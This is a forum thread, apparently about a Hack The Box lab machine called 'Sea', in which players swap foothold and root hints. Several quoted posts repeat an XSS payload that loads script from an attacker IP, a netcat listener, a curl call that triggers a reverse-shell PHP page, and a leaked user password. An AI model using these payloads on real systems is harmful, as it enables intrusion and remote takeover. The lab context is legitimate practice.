[testerlion]

not able to decode the hash in bcrypt anyone help p[lz

[mhsoraa]

Any hits for command injection on root...

amay@sea:~$ curl http://127.0.0.1:8080

Unauthorized accessa
may@sea:~$

[upl04d3r]

Any hits for command injection on root...

amay@sea:~$ curl http://127.0.0.1:8080

Unauthorized accessa
may@sea:~$

use port forwarding to show website on localhost

---

not able to decode the hash in bcrypt anyone help p[lz

find escape character

[7h31nqu1s171v3]

FOR ROOT:

on local machine forward the port 8080 by using:

Hidden Content

You must register or login to view this content.

then use burpsuit to intercept the request when analyzing log files.. u can inject code in the log_file param by using for example:

Hidden Content

You must register or login to view this content.

harmless example to avoid spoiling others experience!! ENJOY

[Witcher09]

Machine rooted feel free to DM me if need be

It is showing send the below link to admin, from where

 some one help me

python3 exploit.py http://sea.htb/ 10.10.xx.xxx xxxx

It willl then tell you 

nc -lvp xxxx
----------------------------

send the below link to admin:

----------------------------
http://sea.htb/"></form><script+src="http://10.10.14.128:8000/xss.js"></script><form+action="

send above to website column in contact.php, after this open another port and use this command curl 'http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.xx.xxx&lport=new_port'

thanks bro

Can you tell me what to do actually I found the daily cron but not able to get what to do

[kewlcat002]

Machine rooted feel free to DM me if need be

It is showing send the below link to admin, from where

 some one help me

python3 exploit.py http://sea.htb/ 10.10.xx.xxx xxxx

It willl then tell you 

nc -lvp xxxx
----------------------------

send the below link to admin:

----------------------------
http://sea.htb/"></form><script+src="http://10.10.14.128:8000/xss.js"></script><form+action="

send above to website column in contact.php, after this open another port and use this command curl 'http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.xx.xxx&lport=new_port'

thanks bro

Can you tell me what to do actually I found the daily cron but not able to get what to do

Plenty of hints regarding the entire machine in the thread, just start from page 1

[elburro]

any hints on foothold i found a page /contact.php it does call back my machine but i can't think of any thing to do with it

[OffensiveBias]

Machine rooted feel free to DM me if need be

It is showing send the below link to admin, from where

 some one help me

python3 exploit.py http://sea.htb/ 10.10.xx.xxx xxxx

It willl then tell you 

nc -lvp xxxx
----------------------------

send the below link to admin:

----------------------------
http://sea.htb/"></form><script+src="http://10.10.14.128:8000/xss.js"></script><form+action="

send above to website column in contact.php, after this open another port and use this command curl 'http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.xx.xxx&lport=new_port'

thanks bro

Can you tell me what to do actually I found the daily cron but not able to get what to do

Search for or ask chatgpt about command injection using curl and http://localhost:8080 is your way forward. Test for payloads to escape . Eventually you will find it.

[upl04d3r]

any hints on foothold i found a page /contact.php  it does call back my machine but i can't  think of any thing to do with it

machine is slow, callback comes after some time and then repeats

---

I still can't find a usable command injection
"No suspicious traffic patterns detected in /root/flag.txt"

---

Finaly im root. Interesting box

[mastech]

I got into amay using password mychemicalromance but stuck to get into root. any hint?